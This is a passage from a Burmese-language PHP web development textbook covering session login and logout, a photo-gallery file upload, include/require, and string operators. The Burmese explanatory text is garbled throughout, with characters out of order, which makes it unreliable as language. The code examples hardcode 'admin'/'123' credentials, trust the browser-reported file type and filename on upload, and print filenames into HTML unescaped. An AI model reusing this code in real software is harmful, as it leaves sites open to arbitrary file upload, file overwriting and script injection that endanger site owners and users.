Array နဲ့ Variable ိတကုိွြ ပယ်ဖေျက်ြလိုက်ြိစလိုရေငလ်ညး် unset() ကုိြအသံုးပပုနိုငပ်ါတယ်။
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6.14 - User Login Example
ကြျွန်ိ တာတ်ို့  Request  ိတ ွိလလ့ာစဉက်ြတည်ိ ဆာက်ြခဲ့တဲ့  User  Login  နမနူာိလးကုိြ  Session  အသံုးပပုပပးီ
အမနှတ်စ်ကြယ်  Login  ဝငန်ိုငတ်ဲ့  စနစ်တစ်ခပုဖေစ်ိအာငပ်ဖေည့်စွက်ြအကြည့်ချငပ်ါတယ်။  ကြျွန်ိ တာတ်ို့  တည်ိ ဆာက်ြ
လက်ြစ auth Folder ထဲကြ index.php မာှ မလူိရေးသားထားတာိတအွစား ိပးထားတဲ့နမနူာနဲ့ ကူြးယအူစား
ထိုးလိုက်ြပါ။

<?php 
  session_start(); 
  $auth = isset($_SESSION['auth']); 
?>

<!doctype html> 
<html> 
<head> 
  <title>Home Page</title> 
  <style> 
    body { 
      background: #efefef; 
      font-family: arial; 
      color: #333; 
    }

    #wrap { 
      width: 500px; 
      padding: 20px; 
      margin: 10px auto; 
      border: 4px solid #ddd; 
      background: #fff; 
    } 

    h1 { 
      margin: 0 0 20px 0; 
      padding: 0 0 10px 0; 
      border-bottom: 1px solid #ddd; 
    }

    input[type=text], input[type=password] { 
      display: block; 
      margin-bottom: 10px; 
    } 

    .msg { 
      width: 500px; 
      background: #ffd; 
      border: 2px solid #dda; 
      text-align: center; 
      margin: 10px auto; 
      font-size: 13px; 
      padding: 6px; 
    } 
  </style> 
</head> 
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<body> 
<div id="wrap"> 
  <?php if($auth) { ?>

    <h1>Welcome to My Website</h1> 
    <p>You see this because you are an authenticated user. Congratulation!</p>

    <b><?php echo $_SESSION['id'] ?></b> 
    <a href="logout.php">Logout</a> 

  <?php } else { ?> 

    <h1>You need to login</h1> 
    <form action="login.php" method="post"> 
      <label for="id">User ID</label> 
      <input type="text" name="id" id="id"> 

      <label for="password">Password</label> 
      <input type="password" name="password" id="password"> 

      <input type="submit" value="Login"> 
    </form> 

  <?php } ?> 
</div> 
</body>
</html> 

session_start() Function ကုိြ Document အတငွး်မာှပါဝငတ်ဲ့ Content ိတကုိွြအလပုမ်လပုခ်င် ဦးဆံုးိခါ်
ယူဖေိုလ့ို အပလ်ို့  Document  ရေဲ့အိပါ်ဆံုးမာှ ိခါ်ယူထားပါတယ်။ ပပးီိတာမ့ှ  $_SESSION Variable  မာှ  auth
Index ရေှိသလားဆုိတာကုိြ isset() Function နဲ့စစ်ိ ဆးပါတယ်။ isset() Function ကြ Array Index တစ်
ခ ုသုိမ့ဟတု် Variable တစ်ခ ုရေှိသလား စစ်ိဆးိပးတဲ့ Function ပဖေစ်ပါတယ်။ auth Index ဟာ သူ့အလိုလိုိ တာ့
ရေှိိ နမာှမဟတု် ပါဘးူ။ အသံုးပပုသူကြ  Login Information  ကုိြ မနှ်ိ အာငပ်ဖေည့်မှ ကြျွန်ိ တာတ်ို့ကြသတမ်တှ် ိပးဖေို့
ရေညရ်ေယ်ွထားပခငး်ပဖေစ် ပါတယ်။ တနညး်အားပဖေင့်  Login ဝငထ်ားမသှာ $_SESSION ထမဲာှ auth Index ရေှိိ နမာှ
ပဖေစ်ပပးီ၊ မဝငထ်ားရေင ်ရေှိိ နမာှမဟတုပ်ါဘးူ။

<body> အတငွး်မာှ  Content  ကုိြ  နစ်ှမျို းခွဲပခားိဖောပ်ပထားပါတယ်။  Login  ဝငထ်ားသူအတက်ွြ  Welcome
Message ပါဝငတ်ဲ့ Content ကုိြိဖောပ်ပထားပပးီ၊ Login မဝငထ်ားသူများကုိြိတာ့ Login Form တစ်ခုိ ဖောပ်ပိပးမာှ
ပဖေစ်ပါတယ်။ ခုိ န Browser ကြိန http://localhost/auth/ လို့ဝငအ်ကြည့်ရေင်  Login Form တစ်ခကုိုြပဲိ တွ့ရေမာှပါ။
ဆက်ြလက်ြပပးီ  login.php မာှ မလူရေှိိ နတာိတအွစား ိပးထားတဲ့ Code ိတနွဲ့ ကူြးယူအစားထိုး လုိက်ြပါ။

http://localhost/auth/


Professional Web Developer - အခန်း (၆) PHP Basic 205

<?php 
  session_start(); 
  $id = $_POST['id']; 
  $password = $_POST['password']; 

  if($id == "admin" && $password == "123") { 
    $_SESSION['auth'] = true; 
    $_SESSION['id'] = "Admin"; 
  }

  header("location: index.php"); 
?>

login.php မာှ  HTML  ိတမွပါဝင်ိ တာပ့ါဘးူ။  PHP Code  ချညး်သက်ြသက်ြပဖေစ်ပါတယ်။  index.php ကြ
ိပးပို့လာတဲ့ id နဲ့ password ကုိြ $_POST Variable ကြတစ်ဆင့် ရေယူလိုက်ြပါတယ်။ ပပးီိတာမ့ှ id ကြ admin,
password ကြ  123 ဟတုမ်နှသ်လားစစ်ိဆးပါတယ်။ ဟတုမ်နှတ်ယ်ဆိုိ တာမ့ှ  $_SESSION ရေဲ့  auth Index
မာှ true ဆုိတဲ့တနဖ်ေိုးတစ်ခ ုိပးလိုက်ြပပးီ id Index မာှိတာ့ Admin ဆုိတဲ့အမညကုိ်ြ ထည့်ိ ပးလိုက်ြပါတယ်။ 

█ header("location: index.php");

-  ရေဲ့အဓပိ္ပါယ်ကြိတာ့  index.php ကုိြ အလိုအိလျှာက်ြ  Redirect  လပုခ်ိုငး်လိုက်ြပခငး်ပဖေစ်ပါတယ်။ ဒါိအကြာင့် သူ့
အိပါ်မာှ သတမ်တှထ်ားတဲ့ လပုစ်ရောရေှိတဲ့အလပု်ိ တ ွလပုပ်ပးီသွားတာနဲ့  index.php ကုိြ အလိုအိလျှာက်ြ ပပနပ်ို့
ိပးသွားပါလမိ့်မယ်။

မတ်ှချကြ ်။ ။ Document တစခ်အုတွငး်မာှ ိရေးသားထားတ့ဲ လုပ်ိ ဆာငခ်ျကြ်ိ တွထဲမာှ အသုံးပပုသကူြို ိဖောပ်ပရေမယ့် အချကြ်ိ တွမ
ပါပ၊ဲ  လုပ်ိ ဆာငခ်ျကြခ်ျညး်ပဆုိဲရေင်  HTML  ိတွ ထည့်ိ ရေးစရောမလုိပါဘးူ။  login.php ရေဲ့  အလုပလု်ပပ်ုံအရေ  id နဲ့
password ကြို စစီစပ်ခငး် အပါအဝင် လုပစ်ရောရေှိတာ လုပပ်ပးီတာနဲ့  index.php ကြို အလုိအိလျှာကြ် ပပနသ်ာွးမာှပါ။ အသုံးပပု
သကူြို ိဖောပ်ပမယ့် အိအကြာငး်အရော တစခ်မုှ မပါပါဘးူ။ ဒါိအကြာင့် login.php ကြို ိရေးတ့ဲအခါ HTML ိတွမပါပဲ PHP Code
သကြသ်ကြခ်ျညး်ပ ဲိရေးသားထားပခငး် ပဖေစပ်ါတယ။်

စမး်သပ်အကြည့်ဖေို့အတက်ွြ  Browser URL Bar  မာှ  http://localhost/auth/ လ့ုိပဖေည့်သငွး်လိုက်ြရေင်  Login Form
ိဖောပ်ပိနတဲ့  Document  ကုိြရေရေှိပါလမိ့်မယ်။  User ID Box  မာှ  admin လို့ထည့်သွငး်ပါ။  Password Box  မာှ
123 လ့ုိရုိက်ြထည့်ပပးီ  Login Button  ကုိြနှိပလ်ိုက်ြတဲ့အခါ  login.php ကုိြိရောက်ြသွားပါလမိ့်မယ်။ ိပးလိုက်ြတဲ့
အချက်ြအလက်ြ မနှတ်ဲ့ အတက်ွြ login.php ကြ $_SESSION တနဖ်ေိုးိတသွတမ်တှပ်ပးီ  index.php ကုိြ အလို
အိလျှာက်ြ ပပနပ်ို့သွားပါလမိ့်မယ်။ index.php ကုိြ ပပနလ်ည်ိ ရောက်ြရေှိလာတဲ့အခါ $_SESSION['auth'] ရေှိိ န
ပပ ီပဖေစ်လို့ Login Form အစား Welcome Message ကုိြ ိတွ့ ပမငရ်ေမာှပပဲဖေစ်ပါတယ်။

Logout  ပပနလ်ပုန်ိုင်ိ စဖေိုအ့တက်ွြ  logout.php ကုိြလညး်ိရေးသားိပးရေပါဦးမယ်။  auth Folder  ထဲမာှပဲ
logout.php ဆုိတဲ့အမညန်ဲ့ Script တစ်ခတုည်ိ ဆာက်ြပါ။ ပပးီရေင ်ိပးထားတဲ့ Code ကုိြ ကူြးယူပဖေည့်သွင်းိပးပါ။

http://localhost/auth/
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<?php 
  session_start(); 
  unset($_SESSION['auth']); 
  unset($_SESSION['id']); 
  header("location: index.php"); 
?>

logout.php ကြ ထးူထးူိထွိ ထမွလပုပ်ါဘးူ။ $_SESSION တနဖ်ေိုးိတပွယ်ဖေျက်ြလိုက်ြပပးီ index.php ကုိြ ပပန်
သွားိစတဲ့ အလပုကုိ်ြပလဲပု်ိ ပးလိုက်ြတာပါ။ Logout Link ကုိြ နှိပပ်ပးီစမး် အကြည့်နိုငပ်ါပပ။ီ

ပုံ (၆-ဖေ) Login Example

အခုဆုိရေင်  Login/Logout လုပလ်ို့ရေတဲ့  Script  တစ်ခရုေရေှိသွားပါပပ။ီ တစ်ကြယ့် Login လပု်ိ ဆာငခ်ျက်ြ ပပည့်စံုဖေို့ဆို
ရေင်  Remember Login  လုပ်ိ ဆာငခ်ျက်ြိတ၊ွ  Forget Password  လုပ်ိ ဆာငခ်ျက်ြိတ၊ွ  Login  အချက်ြ အလက်ြ
ိတကုိွြ Register Database ိတထွကဲြ ရေယူစစ်ိဆးတဲ့လပု်ိ ဆာငခ်ျက်ြမျို းိတ ွလုိအပဦ်းမာှပါ။

6.15 - File Upload
အသံုးပပုသူဘက်ြကုိြိပးပို့ဖေို့လိုတဲ့အချက်ြအလက်ြိတဟွာ အများအားပဖေင့်  Text  ိတပွဖေစ်မာှပါ။ ဒါိပမယ့် လိုအပလ်ို့
File ိတကုိွြ ထည့်သွငး်ိပးပိုရ့ေမယ်ဆုိရေငလ်ညး် ိပးပိုန့ိုငပ်ါတယ်။ File Upload လုပတ်ယ်လို့ ိခါ်အကြပါတယ်။ File
Upload ပပုလပုန်ိုငဖ်ေို့ HTML Form မာှ ပဖေည့်စွက်ြမှုအချို ့လိုအပပ်ါတယ်။ နမနူာိဖောပ်ပိပးလိုက်ြပါတယ်  - 

<form action="upload.php" method="post" enctype="multipart/form-data">
  <input type="file" name="photo">
  <input type="submit" value="Upload">
</form>

File  ိတကုိွြ ထည့်သွငး်ိပးပိုန့ိုငဖ်ေို့  <input type="file"> Element  ကုိြ အသံုးပပုရေပါတယ်။ ဒီ  Element
ထည့် သွငး်လိုက်ြတာနဲ့ Browser ကြ File ိရေးွလို့ရေတဲ့ Option တစ်ခုိ ပးမာှပါ။ အသံုးပပုတဲ့ Browser ိပါ်မတူည်
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ပပးီ  ိဖောပ်ပပုံကွြာနိုင်ိ ပးမယ့်  File  ိရေးွလိုရ့ေတဲ့ လုပ်ိ ဆာငခ်ျက်ြကြိတာ့ အတတူပူါပ။ဲ  Form Submit  လပုလ်ိုက်ြတဲ့
အခါ  ိရေးွချယ်ိပးထားတဲ့ File ကုိြ Server ထံ ထည့်သွငး်ိပးပို့သာွးမာှ ပဖေစ်ပါတယ။် 

<form> Element  ကုိြသတပိပုအကြည့်ပါ။  File  ိတ ွထည့်သွင်းိပးပိုိ့ တာမ့ယ်ဆုိရေင်  Method  ကြ  POST ပဖေစ်ရေပါ
ိတာမ့ယ်။  GET Method  ကုိြ အသံုးပပုလိုမ့ရေပါဘးူ။ ပပးီိတာ့  enctype Attribute  ပါဝငပ်ပးီ  Value  အိနနဲ့
multipart/form-data လို့  အတအိကြျသတမ်တှ်ိ ပးရေပါတယ်။ ဒီ  Attribute  ကြ  Server  ကုိြ  ိပးပို့လာတဲ့
အချက်ြအလက်ြိတမွာှ စာိတသွာမကြ Binary Data ိတ ွ(တနညး်အားပဖေင့် File ိတ)ွ ပါဝင်ိ အကြာငး်အသိိပးပခင်း
ပဖေစ်ပါတယ်။ ဒါမသှာ Server ကြ File ိတပွါဝငလ်ာတဲ့ Request ိတကုိွြသိရေှိပပီး လိုအပသ်လိုစီမံိ ပးနိုငမ်ာှပါ။

ပုံ (၆-ဗ) Firefox နငှ့် Chrome တိုတငွ ်File Input ိဖောပ်ပပုံ

PHP  ကြလညး်  Request  နဲ့အတူ ပါဝငလ်ာတဲ့  File  ိတပွါဝငလ်ာပပဆိီရုေင၊် အသုံးပပုထားတဲ့  Method  ကြ  POST
ပဖေစ်ိနိပမယ့်  File  နဲ့ပတသ်က်ြတဲ့အချက်ြအလက်ြိတကုိွြ  $_POST Superglobal  ထမဲာှိရောမထားပဲ  $_FILES
Superglobal နဲ့ သီးပခား ထည့်သွငး်ထားိပးပါတယ်။

ပုံ (၆-ဘ) $_FILES Superglobal
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ိပးပို့လာတဲ့ File နဲ့ပတသ်က်ြတဲ့ အချက်ြအလက်ြိတကုိွြ  name, type, size, error, tmp_name ဆုိပပီး
Index  (၅)  ခပုါဝငတ်ဲ့  Array  အပဖေစ်  $_FILES Superglobal  ထဲမာှစုစညး်ိပးထားပခငး်  ပဖေစ်ပါတယ်။  name
ကြိတာ့ ိပးပိုလ့ာတဲ့  File  ရေဲ့  မလူအမညပ်ဖေစ်ပါတယ်။  type ကြိတာ့  File  အမျို းအစားပါ။  size ကြိတာ့  File
Size  ကုိြ  Byte  နဲ့  ိဖောပ်ပထားပခငး်ပဖေစ်ပါတယ။်  error မာှိတာ့  File  Size  သိပက်ကီြးိနပခငး်၊  Connection
ပပဿနာတစ်စံုတစ်ရောိအကြာင့်တစ်ဝက်ြတစ်ပျက်ြသာလက်ြခရံေရေှိပခငး်စတဲ့ Error ိတရွေှိခဲ့ရေင် ိဖောပ်ပိပးမာှပဖေစ်ပါတယ်။
tmp_name ကြိတာ့  Upload  ပပုလပုထ်ားတဲ့  File  ကုိြ  လက်ြရေှိ  Server  ကြ  လက်ြခသိံမး်ဆညး်ိပးထားတဲ့
တည်ိ နရောပဖေစ်ပါတယ်။

မတ်ှချကြ်  ။  ။ Form Submit  လုပလုိ်ကြတ်ာနဲ့  File Upload  လုပင်နး်စဉက်ြစတငသ်ာွးမာှပဖေစပ်ါတယ။် ကြျွန်ိ တာတုိ်က့ြ  File
Upload လုပပ်ခငး်လုပင်နး်စဉမ်ာှ ဝငပ်ါစရောမလုိပါဘးူ။ ိပးပို့လာတ့ဲ File ကြို Web Server နဲ့ PHP ကြ အလုိအိလျှာကြလ်ကြခ်ံ
ရေယပူပးီ Temporary Folder ထဲမာှ ိခတ္တ သမိး်ဆညး်ထားိပးမာှပါ။ သမိး်ဆညး်ထားပပးီပဖေစတ့ဲ် File ကြို လုိအပသ်လုိရေယစူမီတ့ဲံ
အလုပက်ြိုသာ ကြျွန်ိ တာတုိ်က့ြ ဆကြလ်ကြ်ိ ဆာငရ်ေကွြရ်ေမာှပါ။

နမနူာတစ်ခုိ လာက်ြ စမး်သပအ်ကြည့်နိုငဖ်ေို့  htdocs Folder  ိအာက်ြမာှ  gallery အမညန်ဲ့  Folder  တစ်ခု တည်
ိဆာက်ြပါ။ ဆက်ြလက်ြပပီး  gallery Folder  ထဲမာှ  photo အမညန်ဲ့ိ နာက်ြ  Folder  တစ်ခု  တည်ိ ဆာက်ြပါ။
index.php နဲ့ upload.php တို့ကုိြိတာ့  gallery Folder ထဲမာှပဲ ဆက်ြလက်ြတည် ိဆာက်ြိပးပါ။  ပပးီရေင်
index.php မာှ ိအာက်ြပါ နမနူာကုိြ ကူြးယူထည့်သွငး်လိုက်ြပါ။

<!doctype html> 
<html> 
<head> 
  <title>Photo Gallery</title> 
  <style> 
    body { 
      background: #efefef; 
      font-family: arial; 
    }
    #wrap { 
      width: 900px; 
      margin: 20px auto; 
      padding: 20px; 
      border: 6px solid #ddd; 
      background: #fff; 
    } 
    #gallery img { 
      width: 200px; 
      margin: 10px; 
    } 
    #form { 
      margin-top: 20px; 
      padding: 10px; 
      background: #efefef; 
      border-top: 2px solid #ddd; 
    } 
  </style> 
</head> 
<body> 
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  <div id="wrap"> 

    <div id="gallery"> 
      <?php 
        $list = scandir("photo"); 
        for($i=2; $i < count($list); $i++) { 
          $name = $list[$i]; 
          echo "<img src='photo/$name' width='200'>"; 
        } 
      ?> 
    </div> 

    <div id="form"> 
      <form action="upload.php" method="post" enctype="multipart/form-data"> 
        <label for="photo">Choose a Photo</label> 
        <input type="file" name="photo" id="photo"> 

        <input type="submit" value="Upload" /> 
      </form> 
    </div> 
  </div> 

</body> 
</html> 

နမနူာရေဲ့  <body> အတငွး်မာှ  #gallery နဲ့  #form  ဆုိပပးီနစ်ှပိုငး်ပါဝငပ်ါတယ်။  #gallery အတငွး်မာှ
scandir() Function ကုိြသံုးပပးီ photo Folder အတငွး်မာှရေှိိ နတဲ့ File စာရေငး်ကုိြရေယူပါတယ်။ scandir()
Function ကြ Folder တစ်ခအုတငွး်မာှရေှိတဲ့ File နဲ့ Folder စာရေငး်ကုိြ Array အိနနဲ့ ပပန်ိ ပးတဲ့ Function ပဖေစ်ပါ
တယ်။ ပပးီိတာမ့ှ for() Loop ကုိြသံုးပပးီ File အိရေအတက်ွြရေှိသိလာက်ြ အလပုလ်ပု်ိ စပါတယ်။ for() Loop
ထဲ မာှ Variable $i ရေဲ့  တနဖ်ေိုးကုိြ 0 ကြ မစိစပဲ 2 ကြ စထားတာကုိြ သတပိပုပါ။ scandir() Function ကြ ပပန်
ိပးတဲ့ Array ရေဲ့  Index 0 နဲ့  1 မာှ Directory Marker ိတပွဖေစ်တဲ့ . (Dot) နဲ့  .. (Dot Dot) တို့ ရေှိိ နမာှ ပဖေစ်တဲ့
အတက်ွြ အ့ဲဒီ  Index  နစ်ှခကုိုြ ထည့်သွငး်အလပုမ်လပု်ိ စလိုတဲ့အတက်ွြ 2 ကြ စခိုငး်ထားပခင်း ပဖေစ်ပါတယ်။  for()
Loop ရေဲ့  ဒတုယိ Parameter မာှအသံုးပပု ထားတဲ့ count() Function ကြိတာ့ Array Size ကုိြ ိရေတက်ွြပပးီပပန်
ိပးနိုငတ်ဲ့  Function ပဖေစ်ပါတယ်။ photo Folder ထဲမာှ File (၅) ခရုေှိရေင် count($list) ရေဲ့  ရေလဒက်ြ 7 ပဖေစ်
မာှပါ။ . နဲ့ .. အတက်ွြ Index နစ်ှခုအပိုယူထားတဲ့အတက်ွြ $list Array မာှ Index (၅) ခမုဟတု် ပဲ (၇) ခပုဖေစ်ိနရေ
ပခငး်ပဖေစ်ပါတယ်။ Loop အတငွး်မာှ ိဆာငရ်ေက်ွြရေမယ့် Statements အိနနဲ့ လက်ြရေှိအလပုလ်ပု်ိ န တဲ့  File Name
ကုိြအသံုးပပုပပးီ <img> Element ရေဲ့  src Attribute အိနနဲ့ ရုိက်ြထတုခ်ိုငး်ထားတဲ့ အတက်ွြ photo Folder ထမဲာှ
ရေှိသမျှ File  ိတကုိွြ  Image  အိနနဲ့  #gallery အတငွး်မာှ  တနး်စီရိုက်ြထတု်ိ ပးသွားမာှပဖေစ်ပါတယ်။ ခုိ နစမး်
အကြည့်ရေင ်photo Folder ထဲမာှ File ိတမွရေှိိ သးလို့ ဘာမှိ တွ့ရေဦးမာှ မဟတုပ်ါဘူး။ 

#form အတငွး်မာှိတာ့  File  Input  တစ်ခပုါဝငတ်ဲ့  HTML  Form  ထည့်သွငး်ထားပါတယ်။  action မာှ
upload.php လ့ုိ ိပးထားတအဲတက်ွြ Form ကုိြ Submit လပုလ်ိုက်ြရေင ်ိရေးွချယ်ထားတဲ့ File ကုိြ upload.php
ထ ံိပးပိုသွ့ားမာှပါ။  upload.php File ထမဲာှ ိအာက်ြပါနမနူာကုိြ ကူြးယူထည့်သွငး်ိပးပါ။
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<?php 
  $name = $_FILES["photo"]["name"]; 
  $tmp = $_FILES["photo"]["tmp_name"]; 
  $type = $_FILES["photo"]["type"]; 

  if($type == "image/jpeg" || $type == "image/png" || $type == "image/gif") { 
    move_uploaded_file($tmp, "photo/$name"); 
  } 

  header("location: index.php"); 
?>

$name, $tmp, $type Variable များထကုိဲြ $_FILES Superglobal ထဲမာှ ရေှိိ နပပပီဖေစ်တဲ့  ိပးပို့လာတဲ့ File
ရေဲ့  Name, Temporary Location နဲ့  Type တို့ကုိြ ထည့်သွငး်ထားလိုက်ြပါတယ်။ ိနာက်ြတစ်ဆင့်မာှ ိပးပို့လာတဲ့
File  ဟာ JPEG, PNG, GIF Image တစ်ခခုု ဟတုမ်နှတ်ယ်ဆိုမှ  move_uploaded_file() Function ကုိြ
အသံုးပပုပပးီ  Temporary  Folder  ထဲမာှိရောက်ြရေှိိ နတဲ့  File  ကုိြမလူ  အမည်အတိုငး်ပဲ  upload Folder  ထကုိဲြ
ိပပာငး်ိရေွှိစလိုက်ြ ပါတယ်။ move_uploaded_file() အတက်ွြ ပထမ Parameter အိနနဲ့ Upload File ရေဲ့
Temporary Location ကုိြိပးရေပပးီ ဒတုယိ Parameter အိနနဲ့ ိပပာငး်ိရေွှိနရောချထားလိုတဲ့   Location ကုိြိပးရေ
ပခငး်ပဖေစ်ပါတယ်။ ိနာက်ြတစ်ဆင့်မာှ  header() Function  အသံုးပပုပပးီ  index.php ကုိြ  ပပနသွ်ားိစလိုက်ြပါ
တယ်။ ခခုျနိမ်ာှ Browser URL Bar မာှ http://localhost/gallery/ လ့ုိ ရုိက်ြထည့်ပပးီ စမး်သပန်ိုငပ်ပ ီပဖေစ်ပါတယ်။ 

Choose a Photo ဆုိတဲ့  Label နဲ့တွဲဖေက်ြိဖောပ်ပိနတဲ့ File Input  ကြိန Image File  တစ်ခကုိုြ ိရေးွချယ် ိပးပပးီ
Upload Button  ကုိြ  နှိပလ်ိုက်ြတယ်ဆိရုေင်  upload.php Script  ရေှိရောကုိြ ိရောက်ြရေှိသွားပပးီ  upload.php ကြ
ိရေးွချယ်ထားတဲ့ File ကုိြ photo Folder ထထဲည့်ိ ပးလိုက်ြမာှပဖေစ်ပါတယ်။ Image ကုိြ photo Folder ထည့် ိရေွှ
ထည့်ပပးီိနာက်ြ index.php ကုိြ Redirect လုပပ်ပနလ်ာတဲ့အခါ index.php မာှကြ photo Folder ထဲကြပုံိ တွ
ကုိြ ဖေတယူ်ိဖောပ်ပိပးဖေို့ ိရေးသားထားပပီး ပဖေစ်လို့  ပုံ  (၆-မ) မာှ ိဖောပ်ပထား သလိုရေလဒကုိ်ြ ရေရေှိိ စမာှပပဲဖေစ်ပါတယ။်

ပုံ (၆-မ) Photo Gallery Example

အခလုို အသံုးပပုသူကြိပးပိုလ့ာတဲ့ အချက်ြအလက်ြိတနွဲ့  File  ိတကုိွြစီမနံိုငပ်ပဆုိီရေင်  PHP အိပခခံ အိတာ်ိ လး ရေ

http://localhost/gallery/
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သွားပပ ီပဖေစ်ပါတယ်။ PHP ရေဲ့  အသံုးဝငတ်ဲ့ ိနာက်ြထပ ်အိပခခ ့လပု်ိ ဆာငခ်ျက်ြတစ်ခပုဖေစ်တဲ့ File Include ကုိြ ဆက်ြ
ိလလ့ာအကြပါမယ်။

6.16 - Server-side Include
JavaScript File ိတနွဲ့ CSS File ိတကုိွြ HTML Document အတငွး်မာှချတိဆ်က်ြထည့်သွင်းနိုငတ်ာ သိရေှိအကြပပီး
ပဖေစ်ပါတယ်။  ချတိဆ်က်ြထားတဲ့  JavaScript  ိတ ွ CSS  ိတကုိွြ  Browser  ကြ  ချတိဆ်က်ြထားိအကြာငး်သိရေှိတဲ့
အတက်ွြ လိုအပတ်ဲ့  Request  ိတ ွ Server  ထံိ ပးပိုပပးီ  သင့ိ် တာသ်လို ဆက်ြလက်ြိဆာငရ်ေက်ွြိပးသွားပခငး်ပဖေစ်ပါ
တယ်။  တနညး်အားပဖေင့်  ချတိဆ်က်ြမှု လပုင်နး်စဉကုိ်ြ   CSS  ိတ ွ JavaScript  ိတကွြိဆာငရ်ေက်ွြပခငး်  မဟတုပ်ဲ
Client ပဖေစ်တဲ့ Browser ကြ ိဆာငရ်ေက်ွြိပးသွားပခငး် ပဖေစ်ပါတယ။်

PHP  File  Include  လုပ်ိ ဆာငခ်ျက်ြကုိြအသုံးပပုပပးီိတာလ့ညး်  File  ိတကုိွြ  တစ်ခနုဲ့တစ်ခခုျတိဆ်က်ြထည့်သွငး်
ိပးနိုငပ်ါတယ်။  အ့ဲဒလီိုချတိဆ်ကြတ်ဲ့အခါ  လိုအပတ်ဲ့လပုင်နး်စဉက်ြို  PHP  Code  ကုိြယ်တိုငက်ြပဲ  Server  ိပါ်မာှ
ိဆာငရ်ေက်ွြသွားတာ ပဖေစ်လို့  Server-side Include လိုိ့ ခါ်ိလရ့ေှိအကြပါတယ်။  File  ိတကုိွြ ရေယူချတိဆ်က်ြိပးနိုင်
တဲ့ PHP Function ိလးမျို းရေှိပါတယ်။ အ့ဲဒါိတကွြိတာ ့- 

• include()
• require()
• include_once()
• require_once()

- တို့ပပဲဖေစ်ပါတယ်။ လက်ြရေှိ Script ထဲကြိန config.php လို့ အမည်ိ ပးထားတဲ့ အပခား Script File တစ်ခ ု
ချတိဆ်က်ြလိုရေင်- 

include("config.php");

(သုိမ့ဟတု်)

require("config.php");

(သုိမ့ဟတု်)

include_once("config.php");

(သုိမ့ဟတု်)

require_once("config.php");
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နစ်ှသက်ြရောနညး်လမး်နဲ့ထည့်သွင်းနိုငပ်ါတယ်။ config.php ိနရောမာှသာ File Path အပပည့်အစံု ထည့်သွငး်ိပး
ရေမာှပါ။  include() နဲ့  require() တို့ဟာ  အိပခခံ  လုပ်ိ ဆာငပ်ုံအတတူပူါပ။ဲ  ထူးပခားချက်ြကြိတာ၊့
include() Function  သံုးပပီး  ချတိဆ်က်ြခိုင်းတဲ့  File  ကုိြ  အိအကြာငး်အမျို းမျို းိအကြာင့်  မချတိဆ်ကြန်ိုငရ်ေင်
Warning  ိပးိပမယ့်  ဆက်ြလက်ြ  ိရေးသားထားတဲ့ကြျန်  Code  ိတကုိွြ  ဆက်ြလက်ြ  ိဆာငရ်ေက်ွြသွားပါတယ်။
require() ကြိတာ့ ချတိဆ်က်ြခိုငး်တဲ့ File ကုိြ မချတိ် ဆက်ြနိုငရ်ေင် Error ိပးပပးီ Script ကုိြ ချက်ြပခငး်ရေပလ်ိုက်ြ
မာှ ပဖေစ်ပါတယ်။

လက်ြရေှိ Script ထမဲာှ တစ်ကကိြမခ်ျတိဆ်ကြထ်ားပပးီပဖေစ်တဲ့ File တစ်ခကုိုြ အ့ဲဒီ Script ထဲမာှပဲ ိနာက်ြတစ်ကကိြမ် ထပမ်ံ
ချတိဆ်က်ြမရိေင်  PHP  ကြ  Error  အပဖေစ်  ိဖောပ်ပပါလမိ့်မယ်။  ဒပီပဿနာကုိြကြာကွြယ်ဖေို့  include_once() နဲ့
require_once() တို့ကုိြသံုးနိုငပ်ါတယ။် သူတို့ကြ ချတိဆ်က်ြခိုငး်တဲ့  File ကုိြ ချတိဆ်က်ြထားပပးီသားလား အရေင်
စစ်ိဆးပါတယ်။  ချတိဆ်က်ြမထားရေိသးမသှာ  File  ကုိြချတိဆ်က်ြိပးမာှပဖေစ်ပပးီ၊  ချတိဆ်က်ြထားပပးီပဖေစ်ိ နရေင်
ိနာက်ြတစ်ကကိြမထ်ပမ်ချတိ်ိ တာလ့ို့   Error  လညး်မပဖေစ်ိတာပ့ါဘးူ။  ဒါိပမယ့် စွမး်ိဆာငရ်ေညပ်မင့်ဖေိုအ့တက်ွြဆုိရေင်
ိတာ့ include_once() နဲ့ require_once() တို့ကုိြ ိရောှငသ်င့်ပါတယ်။ သူတိုက့ြ မချတိခ်င် အရေငစ်စ်စစ်ိန
တဲ့အတက်ွြ အလပုပ်ိုလပုရ်ေပါတယ်။  အ့ဲဒီအစား  include() သုိမ့ဟတု်  require() ကုိြပဲ  ိရေးသားသူကြ မနှ်
ိအာငအ်သံုးပပုသင့်ပါတယ်။

6.17 - Operators
Operator, Keyword  နဲ့  Control Structure  ိတအွိအကြာငး် အထးူိပပာဖေို့မလိုအပ်ိ တာပ့ါဘူး။  အခန်း  (၄)  မာှ
ိလလ့ာခဲ့တဲ့ JavaScript နဲ့ အားလုံးနီးပါးဆငတ်ပူါတယ်။ ထူးပခားချက်ြိတွိ လာက်ြကုိြိရေးွချယ် မတှသ်ားထားရေငရ်ေ
ပါပပ။ီ

Operator  ိတထွမဲာှ  ထးူပခားချက်ြအိနနဲစ့တငမ်တှသ်ားရေမာှကြိတာ့  .  (Dot) Operator  ပဖေစ်ပါတယ်။  PHP  မာှ
Dot Operator ကုိြ စာိအကြာငး်ိတဆွက်ြဖေို့သုံးပါတယ်။ JavaScript မာှ + Operator တစ်ခတုညး်ကုိြပဲ ဂဏနး်ိတွ
ိပါငး်ဖေို့ ိရော၊ စာိအကြာငး်ိတဆွက်ြ ဖေို့ပါအသံုးပပုခဲ့အကြပါတယ်။ PHP မာှိတာ့  + Operator ကုိြ ဂဏနး်ိတွိ ပါငး်ဖေို့
အတက်ွြသာ သံုးပပးီ စာိအကြာငး်ိတဆွက်ြဖေို့  Dot Operator ကုိြ အသံုးပပုရေပါတယ်။ ဥပမာ - 

$img = '<img src="' . $name . '">';

စာိအကြာငး်နစှ်ိ အကြာငး်အလယ်မာှ Variable ကုိြထည့်သွငး်ပပီး Dot Operator နဲ့ တဲွဆက်ြသာွးိစပခငး်ပဖေစ်ပါတယ်။ 
Java Script မာှ += Operator ကုိြ ဂဏနး်ိတွိ ပါင်းထည့်ဖေို့ိ ရော စာိအကြာငး်ိတတွွဲဆက်ြဖေိုအ့တက်ွြပါ သံုးရေပါတယ်။
PHP မာှိတာ့ .= Operator ကုိြ စာိအကြာငး်ိတ ွတဲွဆက်ြထည့်သွငး်ဖေို့သံုးရေပါတယ်။ ဥပမာ - 

$msg = "Welcome to my website.";
$msg .= "You see this because ";
$msg .= "you are an authenticated user.";
